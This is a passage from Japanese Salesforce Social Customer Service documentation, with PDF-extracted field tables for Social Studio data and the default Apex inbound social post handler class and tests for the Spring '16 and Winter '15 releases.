ルネットワーク

Twitter、Facebook などmediaProviderMediaProvider

なしTwittermediaTypeMediaType

なしJoe SmithauthorName

更新対象外なしfriendsNumberOfFriends

なし59546tweetsNumberOfTweets

デフォルトで取引先責任
者の親になるソーシャル
人格。

取引先責任者名 (リンク済
み)

なしParent

なしユーザauthorTypeProfileType

なしhttp://twitter.com/mysamplehandleprofileUrlProfileUrl

mediaType と似ています
が、使用できる値がより
少なくなります。

その他mediaProviderProvider

著者のネイティブ ID123456789r6SourceIdR6SourceId

なしJoe SmithrealNameRealName

なしキーワードまたは管理topicTypeTopicType

Social Studio のその他のデータ
上記のデータに加え、特定の項目が未加工データとして Social Studio から取り込まれますが、それらの項目が
ソーシャル投稿およびソーシャル人格オブジェクト内の項目に自動的に対応付けられることはありません。こ
れらの項目には、Visualforce または Apex でアクセスできます。
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表 54 : Social Studio のその他のデータ項目
メモ未加工データ項目

StringauthorTags

Classifier[]classifiers

BooleancreateLead

StringfirstName

StringjobId

StringlastName

未加工データは、すべての添付ファイルの配列として
取り込まれます。SCS は、既知のデータ型 (画像 | 動画)

mediaUrls

を持つ最初の添付ファイルを SocialPost.AttachmentType

および SocialPost.AttachmentURL と照合します。
StringoriginalAvatar

StringoriginalFullName

StringoriginalScreenName

Stringorigins

Stringprivacy

Longr6ParentPostId

StringrecipientId

[返信先] のソーシャル投稿を検索するために使用され
る未加工データ。ただし項目が直接ソーシャル投稿に
書き込まれることはありません。

replyToExternalPostId

Summer '14 リリースで導入されたモデレーション機能
に使用されます。Yes の場合、SCS はデフォルトロジッ

skipCreateCase

クでのケース作成をスキップします。この項目は、
ユーザ固有のロジックでも使用できます。
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デフォルトの Apex クラス履歴
エディション

使用可能なエディション:
Salesforce Classic

ソーシャルカスタマー
サービスを使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ソーシャルカスタマーサービスの以前のリリースのデフォルトのフル Apex クラ
ス。
現在のリリースについては、「デフォルトのApexクラスの参照」 (ページ3550)を
参照してください。

Spring '16 のデフォルトの Apex クラスおよびテスト

global virtual class InboundSocialPostHandlerImpl implements Social.InboundSocialPostHandler
{

final static Integer CONTENT_MAX_LENGTH = 32000;
Boolean isNewCaseCreated = false;

// Reopen case if it has not been closed for more than this number
global virtual Integer getMaxNumberOfDaysClosedToReopenCase() {

return 5;
}

// Create a case if one of these post tags are on the SocialPost, regardless of the
skipCreateCase indicator.

global virtual Set<String> getPostTagsThatCreateCase(){
return new Set<String>();

}

global virtual String getDefaultAccountId() {
return null;

}

global Social.InboundSocialPostResult handleInboundSocialPost(SocialPost post,
SocialPersona persona, Map<String, Object> rawData) {

Social.InboundSocialPostResult result = new Social.InboundSocialPostResult();
result.setSuccess(true);
matchPost(post);
matchPersona(persona);

if ((post.Content != null) && (post.Content.length() > CONTENT_MAX_LENGTH)) {
post.Content = post.Content.abbreviate(CONTENT_MAX_LENGTH);

}

if (post.Id != null) {
handleExistingPost(post, persona);
return result;

}

setReplyTo(post, persona);
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buildPersona(persona);
Case parentCase = buildParentCase(post, persona, rawData);
setRelationshipsOnPost(post, persona, parentCase);
setModeration(post);

upsert post;

if(isNewCaseCreated){
updateCaseSource(post, parentCase);

}

return result;
}

private void setModeration(SocialPost post){
//if we don't automatically create a case, we should flag the post as requiring

moderator review.
if(post.parentId == null)

post.reviewedStatus = 'Needed';
}

private void updateCaseSource(SocialPost post, Case parentCase){
if(parentCase != null) {

parentCase.SourceId = post.Id;
update parentCase;

}

}

private void handleExistingPost(SocialPost post, SocialPersona persona) {
update post;
if (persona.id != null)

updatePersona(persona);
}

private void setReplyTo(SocialPost post, SocialPersona persona) {
SocialPost replyTo = findReplyTo(post, persona);
if(replyTo.id != null) {

post.replyToId = replyTo.id;
post.replyTo = replyTo;

}
}

private SocialPersona buildPersona(SocialPersona persona) {
if (persona.Id == null)

createPersona(persona);
else

updatePersona(persona);

return persona;
}

private void updatePersona(SocialPersona persona) {
try{
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update persona;
}catch(Exception e) {

System.debug('Error updating social persona: ' + e.getMessage());
}

}

private Case buildParentCase(SocialPost post, SocialPersona persona, Map<String, Object>
rawData){

Case parentCase = findParentCase(post, persona);
if (parentCase != null) {

if (!parentCase.IsClosed) {
return parentCase;

}
else if (caseShouldBeReopened(parentCase)) {

reopenCase(parentCase);
return parentCase;

}
}
if(shouldCreateCase(post, rawData)){

isNewCaseCreated = true;
return createCase(post, persona);

}

return null;
}

private boolean caseShouldBeReopened(Case c){
return c.id != null && c.isClosed && System.now() <

c.closedDate.addDays(getMaxNumberOfDaysClosedToReopenCase());
}

private void setRelationshipsOnPost(SocialPost postToUpdate, SocialPersona persona,
Case parentCase) {

if (persona.Id != null) {
postToUpdate.PersonaId = persona.Id;

if(persona.ParentId.getSObjectType() != SocialPost.sObjectType) {
postToUpdate.WhoId = persona.ParentId;

}
}
if(parentCase != null) {

postToUpdate.ParentId = parentCase.Id;
}

}

private Case createCase(SocialPost post, SocialPersona persona) {
Case newCase = new Case(subject = post.Name);
if (persona != null && persona.ParentId != null) {

if (persona.ParentId.getSObjectType() == Contact.sObjectType) {
newCase.ContactId = persona.ParentId;

} else if (persona.ParentId.getSObjectType() == Account.sObjectType) {
newCase.AccountId = persona.ParentId;

}
}
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if (post != null && post.Provider != null) {
newCase.Origin = post.Provider;

}
insert newCase;
return newCase;

}

private Case findParentCase(SocialPost post, SocialPersona persona) {
Case parentCase = null;
if (post.ReplyTo != null && !isReplyingToAnotherCustomer(post, persona) &&

!isChat(post)) {
parentCase = findParentCaseFromPostReply(post);

}
if (parentCase == null) {

parentCase = findParentCaseFromPersona(post, persona);
}
return parentCase;

}

private boolean isReplyingToAnotherCustomer(SocialPost post, SocialPersona persona){
return !post.ReplyTo.IsOutbound && post.ReplyTo.PersonaId != persona.Id;
}

private boolean isChat(SocialPost post){
return post.messageType == 'Private' || post.messageType == 'Direct';
}

private Case findParentCaseFromPostReply(SocialPost post) {
if (post.ReplyTo != null && String.isNotBlank(post.ReplyTo.ParentId)) {

List<Case> cases = [SELECT Id, IsClosed, Status, ClosedDate FROM Case WHERE
Id = :post.ReplyTo.ParentId LIMIT 1];

if(!cases.isEmpty()) {
return cases[0];

}
}
return null;

}

private Case findParentCaseFromPersona(SocialPost post, SocialPersona persona) {
SocialPost lastestInboundPostWithSamePersonaAndRecipient =

findLatestInboundPostBasedOnPersonaAndRecipient(post, persona);
if (lastestInboundPostWithSamePersonaAndRecipient != null) {

List<Case> cases = [SELECT Id, IsClosed, Status, ClosedDate FROM Case WHERE
id = :lastestInboundPostWithSamePersonaAndRecipient.parentId LIMIT 1];

if(!cases.isEmpty()) {
return cases[0];

}
}
return null;

}

private void reopenCase(Case parentCase) {
SObject[] status = [SELECT MasterLabel FROM CaseStatus WHERE IsClosed = false AND

IsDefault = true];
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parentCase.Status = ((CaseStatus)status[0]).MasterLabel;
update parentCase;

}

private void matchPost(SocialPost post) {
if (post.Id != null) return;

performR6PostIdCheck(post);

if (post.Id == null){
performExternalPostIdCheck(post);

}
}

private void performR6PostIdCheck(SocialPost post){
if(post.R6PostId == null) return;
List<SocialPost> postList = [SELECT Id FROM SocialPost WHERE R6PostId =

:post.R6PostId LIMIT 1];
if (!postList.isEmpty()) {

post.Id = postList[0].Id;
}

}

private void performExternalPostIdCheck(SocialPost post) {
if (post.provider == 'Facebook' && post.messageType == 'Private') return;
if (post.provider == null || post.externalPostId == null) return;
List<SocialPost> postList = [SELECT Id FROM SocialPost WHERE ExternalPostId =

:post.ExternalPostId AND Provider = :post.provider LIMIT 1];
if (!postList.isEmpty()) {

post.Id = postList[0].Id;
}

}

private SocialPost findReplyTo(SocialPost post, SocialPersona persona) {
if(post.replyToId != null && post.replyTo == null)

return findReplyToBasedOnReplyToId(post);
if(post.responseContextExternalId != null){

if((post.provider == 'Facebook' && post.messageType == 'Private') ||
(post.provider == 'Twitter' && post.messageType == 'Direct')){

SocialPost replyTo =
findReplyToBasedOnResponseContextExternalPostIdAndProvider(post);

if(replyTo.id != null)
return replyTo;

}
return findReplyToBasedOnExternalPostIdAndProvider(post);

}
return new SocialPost();

}

private SocialPost findReplyToBasedOnReplyToId(SocialPost post){
List<SocialPost> posts = [SELECT Id, ParentId, IsOutbound, PersonaId FROM SocialPost
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WHERE id = :post.replyToId LIMIT 1];
if(posts.isEmpty())

return new SocialPost();
return posts[0];

}

private SocialPost findReplyToBasedOnExternalPostIdAndProvider(SocialPost post){
List<SocialPost> posts = [SELECT Id, ParentId, IsOutbound, PersonaId FROM SocialPost

WHERE Provider = :post.provider AND ExternalPostId = :post.responseContextExternalId LIMIT
1];

if(posts.isEmpty())
return new SocialPost();

return posts[0];
}

private SocialPost findReplyToBasedOnResponseContextExternalPostIdAndProvider(SocialPost
post){

List<SocialPost> posts = [SELECT Id, ParentId, IsOutbound, PersonaId FROM SocialPost
WHERE Provider = :post.provider AND responseContextExternalId =
:post.responseContextExternalId ORDER BY posted DESC NULLS LAST LIMIT 1];

if(posts.isEmpty())
return new SocialPost();

return posts[0];
}

private SocialPost findLatestInboundPostBasedOnPersonaAndRecipient(SocialPost post,
SocialPersona persona) {

if (persona != null && String.isNotBlank(persona.Id) && post != null &&
String.isNotBlank(post.Recipient)) {

List<SocialPost> posts = [SELECT Id, ParentId FROM SocialPost WHERE Provider
= :post.provider AND Recipient = :post.Recipient AND PersonaId = :persona.id AND IsOutbound
= false ORDER BY CreatedDate DESC LIMIT 1];

if (!posts.isEmpty()) {
return posts[0];

}
}
return null;

}

private void matchPersona(SocialPersona persona) {
if (persona != null) {

List<SocialPersona> personaList = new List<SocialPersona>();
if(persona.Provider != 'Other' && String.isNotBlank(persona.ExternalId)) {

personaList = [SELECT Id, ParentId FROM SocialPersona WHERE
Provider = :persona.Provider AND
ExternalId = :persona.ExternalId LIMIT 1];

} else if(persona.Provider == 'Other' && String.isNotBlank(persona.ExternalId)
&& String.isNotBlank(persona.MediaProvider)) {

personaList = [SELECT Id, ParentId FROM SocialPersona WHERE
MediaProvider = :persona.MediaProvider AND
ExternalId = :persona.ExternalId LIMIT 1];

} else if(persona.Provider == 'Other' && String.isNotBlank(persona.Name) &&
String.isNotBlank(persona.MediaProvider)) {

personaList = [SELECT Id, ParentId FROM SocialPersona WHERE
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MediaProvider = :persona.MediaProvider AND
Name = :persona.Name LIMIT 1];

}

if (!personaList.isEmpty()) {
persona.Id = personaList[0].Id;
persona.ParentId = personaList[0].ParentId;

}
}

}

private void createPersona(SocialPersona persona) {
if (persona == null || String.isNotBlank(persona.Id) ||

!isThereEnoughInformationToCreatePersona(persona))
return;

SObject parent = createPersonaParent(persona);
persona.ParentId = parent.Id;
insert persona;

}

private boolean isThereEnoughInformationToCreatePersona(SocialPersona persona) {
return String.isNotBlank(persona.Name) &&

String.isNotBlank(persona.Provider) &&
String.isNotBlank(persona.MediaProvider);

}

private boolean shouldCreateCase(SocialPost post, Map<String, Object> rawData){
return !hasSkipCreateCaseIndicator(rawData) || hasPostTagsThatCreateCase(post);

}

private boolean hasSkipCreateCaseIndicator(Map<String, Object> rawData) {
Object skipCreateCase = rawData.get('skipCreateCase');
return skipCreateCase != null &&

'true'.equalsIgnoreCase(String.valueOf(skipCreateCase));
}

private boolean hasPostTagsThatCreateCase(SocialPost post){
Set<String> postTags = getPostTags(post);
postTags.retainAll(getPostTagsThatCreateCase());
return !postTags.isEmpty();

}

private Set<String> getPostTags(SocialPost post){
Set<String> postTags = new Set<String>();
if(post.postTags != null)

postTags.addAll(post.postTags.split(',', 0));
return postTags;

}

global String getPersonaFirstName(SocialPersona persona) {
String name = getPersonaName(persona);
String firstName = '';
if (name.contains(' ')) {
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firstName = name.substringBeforeLast(' ');
}
firstName = firstName.abbreviate(40);
return firstName;

}

global String getPersonaLastName(SocialPersona persona) {
String name = getPersonaName(persona);
String lastName = name;
if (name.contains(' ')) {

lastName = name.substringAfterLast(' ');
}
lastName = lastName.abbreviate(80);
return lastName;

}

private String getPersonaName(SocialPersona persona) {
String name = persona.Name.trim();
if (String.isNotBlank(persona.RealName)) {

name = persona.RealName.trim();
}
return name;

}

global virtual SObject createPersonaParent(SocialPersona persona) {

String firstName = getPersonaFirstName(persona);
String lastName = getPersonaLastName(persona);

Contact contact = new Contact(LastName = lastName, FirstName = firstName);
String defaultAccountId = getDefaultAccountId();
if (defaultAccountId != null)

contact.AccountId = defaultAccountId;
insert contact;
return contact;

}

}

テスト
@isTest
public class InboundSocialPostHandlerImplTest {

static Map<String, Object> sampleSocialData;
static Social.InboundSocialPostHandlerImpl handler;

static {
handler = new Social.InboundSocialPostHandlerImpl();

sampleSocialData = getSampleSocialData('1');
}

static testMethod void verifyNewRecordCreation() {
SocialPost post = getSocialPost(sampleSocialData);
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SocialPersona persona = getSocialPersona(sampleSocialData);

test.startTest();
handler.handleInboundSocialPost(post, persona, sampleSocialData);
test.stopTest();

SocialPost createdPost = [SELECT Id, PersonaId, ParentId, WhoId FROM SocialPost];

SocialPersona createdPersona = [SELECT Id, ParentId FROM SocialPersona];
Contact createdContact = [SELECT Id FROM Contact];
Case createdCase = [SELECT Id, ContactId FROM Case];

System.assertEquals(createdPost.PersonaId, createdPersona.Id, 'Post is not linked
to the Persona.');

System.assertEquals(createdPost.WhoId, createdPersona.ParentId, 'Post is not linked
to the Contact');

System.assertEquals(createdPost.ParentId, createdCase.Id, 'Post is not linked to
the Case.');

System.assertEquals(createdCase.ContactId, createdContact.Id, 'Contact is not
linked to the Case.');

}

static testMethod void matchSocialPostRecord() {
SocialPost existingPost = getSocialPost(getSampleSocialData('2'));
insert existingPost;

SocialPost post = getSocialPost(sampleSocialData);
post.R6PostId = existingPost.R6PostId;
SocialPersona persona = getSocialPersona(sampleSocialData);

test.startTest();
handler.handleInboundSocialPost(post, persona, sampleSocialData);
test.stopTest();

System.assertEquals(1, [SELECT Id FROM SocialPost].size(), 'There should be only
1 post');

}

static testMethod void matchSocialPersonaRecord() {
Contact existingContact = new Contact(LastName = 'LastName');
insert existingContact;
SocialPersona existingPersona = getSocialPersona(getSampleSocialData('2'));
existingPersona.ParentId = existingContact.Id;
insert existingPersona;

SocialPost post = getSocialPost(sampleSocialData);
SocialPersona persona = getSocialPersona(sampleSocialData);
persona.ExternalId = existingPersona.ExternalId;

test.startTest();
handler.handleInboundSocialPost(post, persona, sampleSocialData);
test.stopTest();

SocialPost createdPost = [SELECT Id, PersonaId, ParentId, WhoId FROM SocialPost];
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SocialPersona createdPersona = [SELECT Id, ParentId FROM SocialPersona];
Contact createdContact = [SELECT Id FROM Contact];
Case createdCase = [SELECT Id, ContactId FROM Case];

System.assertEquals(createdPost.PersonaId, createdPersona.Id, 'Post is not linked
to the Persona.');

System.assertEquals(createdPost.WhoId, createdPersona.ParentId, 'Post is not linked
to the Contact');

System.assertEquals(createdPost.ParentId, createdCase.Id, 'Post is not linked to
the Case.');

System.assertEquals(createdCase.ContactId, createdContact.Id, 'Contact is not
linked to the Case.');

}

static testMethod void matchCaseRecord() {
Contact existingContact = new Contact(LastName = 'LastName');
insert existingContact;
SocialPersona existingPersona = getSocialPersona(getSampleSocialData('2'));
existingPersona.ParentId = existingContact.Id;
insert existingPersona;
Case existingCase = new Case(ContactId = existingContact.Id, Subject = 'Test Case');

insert existingCase;
SocialPost existingPost = getSocialPost(getSampleSocialData('2'));
existingPost.ParentId = existingCase.Id;
existingPost.WhoId = existingContact.Id;
existingPost.PersonaId = existingPersona.Id;
insert existingPost;

SocialPost post = getSocialPost(sampleSocialData);
post.responseContextExternalId = existingPost.ExternalPostId;

test.startTest();
handler.handleInboundSocialPost(post, existingPersona, sampleSocialData);
test.stopTest();

SocialPost createdPost = [SELECT Id, PersonaId, ParentId, WhoId FROM SocialPost
WHERE R6PostId = :post.R6PostId];

System.assertEquals(existingPersona.Id, createdPost.PersonaId, 'Post is not linked
to the Persona.');

System.assertEquals(existingContact.Id, createdPost.WhoId, 'Post is not linked to
the Contact');

System.assertEquals(existingCase.Id, createdPost.ParentId, 'Post is not linked to
the Case.');

System.assertEquals(1, [SELECT Id FROM Case].size(), 'There should only be 1
Case.');

}

static testMethod void reopenClosedCase() {
Contact existingContact = new Contact(LastName = 'LastName');
insert existingContact;
SocialPersona existingPersona = getSocialPersona(getSampleSocialData('2'));
existingPersona.ParentId = existingContact.Id;
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insert existingPersona;
Case existingCase = new Case(ContactId = existingContact.Id, Subject = 'Test Case',

Status = 'Closed');
insert existingCase;
SocialPost existingPost = getSocialPost(getSampleSocialData('2'));
existingPost.ParentId = existingCase.Id;
existingPost.WhoId = existingContact.Id;
existingPost.PersonaId = existingPersona.Id;
insert existingPost;

SocialPost post = getSocialPost(sampleSocialData);
post.responseContextExternalId = existingPost.ExternalPostId;

test.startTest();
handler.handleInboundSocialPost(post, existingPersona, sampleSocialData);
test.stopTest();

SocialPost createdPost = [SELECT Id, PersonaId, ParentId, WhoId FROM SocialPost
WHERE R6PostId = :post.R6PostId];

System.assertEquals(existingPersona.Id, createdPost.PersonaId, 'Post is not linked
to the Persona.');

System.assertEquals(existingContact.Id, createdPost.WhoId, 'Post is not linked to
the Contact');

System.assertEquals(existingCase.Id, createdPost.ParentId, 'Post is not linked to
the Case.');

System.assertEquals(1, [SELECT Id FROM Case].size(), 'There should only be 1
Case.');

System.assertEquals(false, [SELECT Id, IsClosed FROM Case WHERE Id =
:existingCase.Id].IsClosed, 'Case should be open.');

}

static SocialPost getSocialPost(Map<String, Object> socialData) {
SocialPost post = new SocialPost();
post.Name = String.valueOf(socialData.get('source'));
post.Content = String.valueOf(socialData.get('content'));
post.Posted = Date.valueOf(String.valueOf(socialData.get('postDate')));
post.PostUrl = String.valueOf(socialData.get('postUrl'));
post.Provider = String.valueOf(socialData.get('mediaProvider'));
post.MessageType = String.valueOf(socialData.get('messageType'));
post.ExternalPostId = String.valueOf(socialData.get('externalPostId'));
post.R6PostId = String.valueOf(socialData.get('r6PostId'));
return post;

}

static SocialPersona getSocialPersona(Map<String, Object> socialData) {
SocialPersona persona = new SocialPersona();
persona.Name = String.valueOf(socialData.get('author'));
persona.RealName = String.valueOf(socialData.get('realName'));
persona.Provider = String.valueOf(socialData.get('mediaProvider'));
persona.MediaProvider = String.valueOf(socialData.get('mediaProvider'));
persona.ExternalId = String.valueOf(socialData.get('externalUserId'));
return persona;

}
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static Map<String, Object> getSampleSocialData(String suffix) {
Map<String, Object> socialData = new Map<String, Object>();
socialData.put('r6PostId', 'R6PostId' + suffix);
socialData.put('r6SourceId', 'R6SourceId' + suffix);
socialData.put('postTags', null);
socialData.put('externalPostId', 'ExternalPostId' + suffix);
socialData.put('content', 'Content' + suffix);
socialData.put('postDate', '2015-01-12T12:12:12Z');
socialData.put('mediaType', 'Twitter');
socialData.put('author', 'Author');
socialData.put('skipCreateCase', false);
socialData.put('mediaProvider', 'TWITTER');
socialData.put('externalUserId', 'ExternalUserId');
socialData.put('postUrl', 'PostUrl' + suffix);
socialData.put('messageType', 'Tweet');
socialData.put('source', 'Source' + suffix);
socialData.put('replyToExternalPostId', null);
socialData.put('realName', 'Real Name');
return socialData;

}
}

Winter '15 のデフォルトの Apex クラスおよびテスト
global virtual class InboundSocialPostHandlerImpl implements Social.InboundSocialPostHandler
{

final static Integer CONTENT_MAX_LENGTH = 32000;
Boolean isNewCaseCreated = false;

// Reopen case if it has not been closed for more than this number
global virtual Integer getMaxNumberOfDaysClosedToReopenCase() {

return 5;
}

// Create a case if one of these post tags are on the SocialPost, regardless of the
skipCreateCase indicator.

global virtual Set<String> getPostTagsThatCreateCase(){
return new Set<String>();

}

global virtual String getDefaultAccountId() {
return null;

}

global Social.InboundSocialPostResult handleInboundSocialPost(SocialPost post,
SocialPersona persona, Map<String, Object> rawData) {

Social.InboundSocialPostResult result = new Social.InboundSocialPostResult();
result.setSuccess(true);
matchPost(post);
matchPersona(persona);

if ((post.Content != null) && (post.Content.length() > CONTENT_MAX_LENGTH)) {
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post.Content = post.Content.abbreviate(CONTENT_MAX_LENGTH);
}

if (post.Id != null) {
handleExistingPost(post, persona);
return result;

}

setReplyTo(post, persona);
buildPersona(persona);
Case parentCase = buildParentCase(post, persona, rawData);
setRelationshipsOnPost(post, persona, parentCase);

upsert post;

if(isNewCaseCreated){
updateCaseSource(post, parentCase);

}

return result;
}

private void updateCaseSource(SocialPost post, Case parentCase){
if(parentCase != null) {

parentCase.SourceId = post.Id;
update parentCase;

}

}

private void handleExistingPost(SocialPost post, SocialPersona persona) {
update post;
if (persona.id != null)

updatePersona(persona);
}

private void setReplyTo(SocialPost post, SocialPersona persona) {
SocialPost replyTo = findReplyTo(post, persona);
if(replyTo.id != null) {

post.replyToId = replyTo.id;
post.replyTo = replyTo;

}
}

private SocialPersona buildPersona(SocialPersona persona) {
if (persona.Id == null)

createPersona(persona);
else

updatePersona(persona);

return persona;
}

private void updatePersona(SocialPersona persona) {
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try{
update persona;

}catch(Exception e) {
System.debug('Error updating social persona: ' + e.getMessage());

}
}

private Case buildParentCase(SocialPost post, SocialPersona persona, Map<String, Object>
rawData){

Case parentCase = findParentCase(post, persona);
if (parentCase != null) {

if (!parentCase.IsClosed) {
return parentCase;

}
else if (caseShouldBeReopened(parentCase)) {

reopenCase(parentCase);
return parentCase;

}
}
if(shouldCreateCase(post, rawData)){

isNewCaseCreated = true;
return createCase(post, persona);

}

return null;
}

private boolean caseShouldBeReopened(Case c){
return c.id != null && c.isClosed && System.now() <

c.closedDate.addDays(getMaxNumberOfDaysClosedToReopenCase());
}

private void setRelationshipsOnPost(SocialPost postToUpdate, SocialPersona persona,
Case parentCase) {

if (persona.Id != null) {
postToUpdate.PersonaId = persona.Id;

if(persona.ParentId.getSObjectType() != SocialPost.sObjectType) {
postToUpdate.WhoId = persona.ParentId;

}
}
if(parentCase != null) {

postToUpdate.ParentId = parentCase.Id;
}

}

private Case createCase(SocialPost post, SocialPersona persona) {
Case newCase = new Case(subject = post.Name);
if (persona != null && persona.ParentId != null) {

if (persona.ParentId.getSObjectType() == Contact.sObjectType) {
newCase.ContactId = persona.ParentId;

} else if (persona.ParentId.getSObjectType() == Account.sObjectType) {
newCase.AccountId = persona.ParentId;

}
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}
if (post != null && post.Provider != null) {

newCase.Origin = post.Provider;
}
insert newCase;
return newCase;

}

private Case findParentCase(SocialPost post, SocialPersona persona) {
Case parentCase = null;
if (post.ReplyTo != null && !isReplyingToAnotherCustomer(post, persona) &&

!isChat(post)) {
parentCase = findParentCaseFromPostReply(post);

}
if (parentCase == null) {

parentCase = findParentCaseFromPersona(post, persona);
}
return parentCase;

}

private boolean isReplyingToAnotherCustomer(SocialPost post, SocialPersona persona){
return !post.ReplyTo.IsOutbound && post.ReplyTo.PersonaId != persona.Id;
}

private boolean isChat(SocialPost post){
return post.messageType == 'Private' || post.messageType == 'Direct';
}

private Case findParentCaseFromPostReply(SocialPost post) {
if (post.ReplyTo != null && String.isNotBlank(post.ReplyTo.ParentId)) {

List<Case> cases = [SELECT Id, IsClosed, Status, ClosedDate FROM Case WHERE
Id = :post.ReplyTo.ParentId LIMIT 1];

if(!cases.isEmpty()) {
return cases[0];

}
}
return null;

}

private Case findParentCaseFromPersona(SocialPost post, SocialPersona persona) {
SocialPost lastestInboundPostWithSamePersonaAndRecipient =

findLatestInboundPostBasedOnPersonaAndRecipient(post, persona);
if (lastestInboundPostWithSamePersonaAndRecipient != null) {

List<Case> cases = [SELECT Id, IsClosed, Status, ClosedDate FROM Case WHERE
id = :lastestInboundPostWithSamePersonaAndRecipient.parentId LIMIT 1];

if(!cases.isEmpty()) {
return cases[0];

}
}
return null;

}

private void reopenCase(Case parentCase) {
SObject[] status = [SELECT MasterLabel FROM CaseStatus WHERE IsClosed = false AND
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IsDefault = true];
parentCase.Status = ((CaseStatus)status[0]).MasterLabel;
update parentCase;

}

private void matchPost(SocialPost post) {
if (post.Id != null) return;

performR6PostIdCheck(post);

if (post.Id == null){
performExternalPostIdCheck(post);

}
}

private void performR6PostIdCheck(SocialPost post){
if(post.R6PostId == null) return;
List<SocialPost> postList = [SELECT Id FROM SocialPost WHERE R6PostId =

:post.R6PostId LIMIT 1];
if (!postList.isEmpty()) {

post.Id = postList[0].Id;
}

}

private void performExternalPostIdCheck(SocialPost post) {
if (post.provider == 'Facebook' && post.messageType == 'Private') return;
if (post.provider == null || post.externalPostId == null) return;
List<SocialPost> postList = [SELECT Id FROM SocialPost WHERE ExternalPostId =

:post.ExternalPostId AND Provider = :post.provider LIMIT 1];
if (!postList.isEmpty()) {

post.Id = postList[0].Id;
}

}

private SocialPost findReplyTo(SocialPost post, SocialPersona persona) {
if(post.replyToId != null && post.replyTo == null)

return findReplyToBasedOnReplyToId(post);
if(post.responseContextExternalId != null){

if((post.provider == 'Facebook' && post.messageType == 'Private') ||
(post.provider == 'Twitter' && post.messageType == 'Direct')){

SocialPost replyTo =
findReplyToBasedOnResponseContextExternalPostIdAndProvider(post);

if(replyTo.id != null)
return replyTo;

}
return findReplyToBasedOnExternalPostIdAndProvider(post);

}
return new SocialPost();

}

private SocialPost findReplyToBasedOnReplyToId(SocialPost post){
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List<SocialPost> posts = [SELECT Id, ParentId, IsOutbound, PersonaId FROM SocialPost
WHERE id = :post.replyToId LIMIT 1];

if(posts.isEmpty())
return new SocialPost();

return posts[0];
}

private SocialPost findReplyToBasedOnExternalPostIdAndProvider(SocialPost post){
List<SocialPost> posts = [SELECT Id, ParentId, IsOutbound, PersonaId FROM SocialPost

WHERE Provider = :post.provider AND ExternalPostId = :post.responseContextExternalId LIMIT
1];

if(posts.isEmpty())
return new SocialPost();

return posts[0];
}

private SocialPost findReplyToBasedOnResponseContextExternalPostIdAndProvider(SocialPost
post){

List<SocialPost> posts = [SELECT Id, ParentId, IsOutbound, PersonaId FROM SocialPost
WHERE Provider = :post.provider AND responseContextExternalId =
:post.responseContextExternalId ORDER BY posted DESC NULLS LAST LIMIT 1];

if(posts.isEmpty())
return new SocialPost();

return posts[0];
}

private SocialPost findLatestInboundPostBasedOnPersonaAndRecipient(SocialPost post,
SocialPersona persona) {

if (persona != null && String.isNotBlank(persona.Id) && post != null &&
String.isNotBlank(post.Recipient)) {

List<SocialPost> posts = [SELECT Id, ParentId FROM SocialPost WHERE Provider
= :post.provider AND Recipient = :post.Recipient AND PersonaId = :persona.id AND IsOutbound
= false ORDER BY CreatedDate DESC LIMIT 1];

if (!posts.isEmpty()) {
return posts[0];

}
}
return null;

}

private void matchPersona(SocialPersona persona) {
if (persona != null) {

List<SocialPersona> personaList = new List<SocialPersona>();
if(persona.Provider != 'Other' && String.isNotBlank(persona.ExternalId)) {

personaList = [SELECT Id, ParentId FROM SocialPersona WHERE
Provider = :persona.Provider AND
ExternalId = :persona.ExternalId LIMIT 1];

} else if(persona.Provider == 'Other' && String.isNotBlank(persona.ExternalId)
&& String.isNotBlank(persona.MediaProvider)) {

personaList = [SELECT Id, ParentId FROM SocialPersona WHERE
MediaProvider = :persona.MediaProvider AND
ExternalId = :persona.ExternalId LIMIT 1];

} else if(persona.Provider == 'Other' && String.isNotBlank(persona.Name) &&
String.isNotBlank(persona.MediaProvider)) {
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personaList = [SELECT Id, ParentId FROM SocialPersona WHERE
MediaProvider = :persona.MediaProvider AND
Name = :persona.Name LIMIT 1];

}

if (!personaList.isEmpty()) {
persona.Id = personaList[0].Id;
persona.ParentId = personaList[0].ParentId;

}
}

}

private void createPersona(SocialPersona persona) {
if (persona == null || String.isNotBlank(persona.Id) ||

!isThereEnoughInformationToCreatePersona(persona))
return;

SObject parent = createPersonaParent(persona);
persona.ParentId = parent.Id;
insert persona;

}

private boolean isThereEnoughInformationToCreatePersona(SocialPersona persona) {
return String.isNotBlank(persona.Name) &&

String.isNotBlank(persona.Provider) &&
String.isNotBlank(persona.MediaProvider);

}

private boolean shouldCreateCase(SocialPost post, Map<String, Object> rawData){
return !hasSkipCreateCaseIndicator(rawData) || hasPostTagsThatCreateCase(post);

}

private boolean hasSkipCreateCaseIndicator(Map<String, Object> rawData) {
Object skipCreateCase = rawData.get('skipCreateCase');
return skipCreateCase != null &&

'true'.equalsIgnoreCase(String.valueOf(skipCreateCase));
}

private boolean hasPostTagsThatCreateCase(SocialPost post){
Set<String> postTags = getPostTags(post);
postTags.retainAll(getPostTagsThatCreateCase());
return !postTags.isEmpty();

}

private Set<String> getPostTags(SocialPost post){
Set<String> postTags = new Set<String>();
if(post.postTags != null)

postTags.addAll(post.postTags.split(',', 0));
return postTags;

}

global String getPersonaFirstName(SocialPersona persona) {
String name = getPersonaName(persona);
String firstName = '';
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if (name.contains(' ')) {
firstName = name.substringBeforeLast(' ');

}
firstName = firstName.abbreviate(40);
return firstName;

}

global String getPersonaLastName(SocialPersona persona) {
String name = getPersonaName(persona);
String lastName = name;
if (name.contains(' ')) {

lastName = name.substringAfterLast(' ');
}
lastName = lastName.abbreviate(80);
return lastName;

}

private String getPersonaName(SocialPersona persona) {
String name = persona.Name.trim();
if (String.isNotBlank(persona.RealName)) {

name = persona.RealName.trim();
}
return name;

}

global virtual SObject createPersonaParent(SocialPersona persona) {

String firstName = getPersonaFirstName(persona);
String lastName = getPersonaLastName(persona);

Contact contact = new Contact(LastName = lastName, FirstName = firstName);
String defaultAccountId = getDefaultAccountId();
if (defaultAccountId != null)

contact.AccountId = defaultAccountId;
insert contact;
return contact;

}

}

テスト
@isTest
public class InboundSocialPostHandlerImplTest {

static Map<String, Object> sampleSocialData;
static Social.InboundSocialPostHandlerImpl handler;

static {
handler = new Social.InboundSocialPostHandlerImpl();

sampleSocialData = getSampleSocialData('1');
}

static testMethod void verifyNewRecordCreation() {
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SocialPost post = getSocialPost(sampleSocialData);
SocialPersona persona = getSocialPersona(sampleSocialData);

test.startTest();
handler.handleInboundSocialPost(post, persona, sampleSocialData);
test.stopTest();

